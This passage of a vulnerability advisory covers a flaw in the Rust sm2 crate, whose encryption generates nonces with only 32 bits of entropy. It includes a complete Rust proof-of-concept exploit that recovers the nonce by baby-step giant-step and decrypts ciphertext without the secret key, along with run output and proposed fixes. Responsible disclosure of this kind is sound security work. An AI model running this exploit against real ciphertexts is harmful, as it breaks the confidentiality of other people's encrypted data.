   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.